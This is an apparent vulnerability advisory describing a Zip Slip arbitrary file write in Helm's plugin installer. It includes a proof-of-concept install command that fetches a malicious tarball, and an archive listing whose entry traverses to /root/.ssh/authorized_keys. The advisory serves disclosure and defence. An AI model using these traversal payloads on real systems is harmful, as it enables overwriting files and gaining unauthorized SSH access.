Arbitrary File Write via Archive Extraction (Zip Slip) Affecting github.com/helm/helm/pkg/plugin/installer package, versions >=3.0.0 <3.2.4

github.com/helm/helm/pkg/plugin/installer is a Kubernetes Package Manager.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). When installing Helm plugins from a tar archive over HTTP, it is possible for a malicious plugin author to inject a relative path into a plugin archive, and copy a file outside of the intended directory, or overwrite contents of an arbitrary file where the path location is known.

PoC

Run helm plugin install https://github.com/snoopysecurity/Public/raw/master/payloads/evil.tar.gz` 

The evil.tar.gz has a  file called “../../../../../../../../tmp/test.txt”, which when extracted by the helm plugin installer will then move the test.txt file to the temp directory.

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

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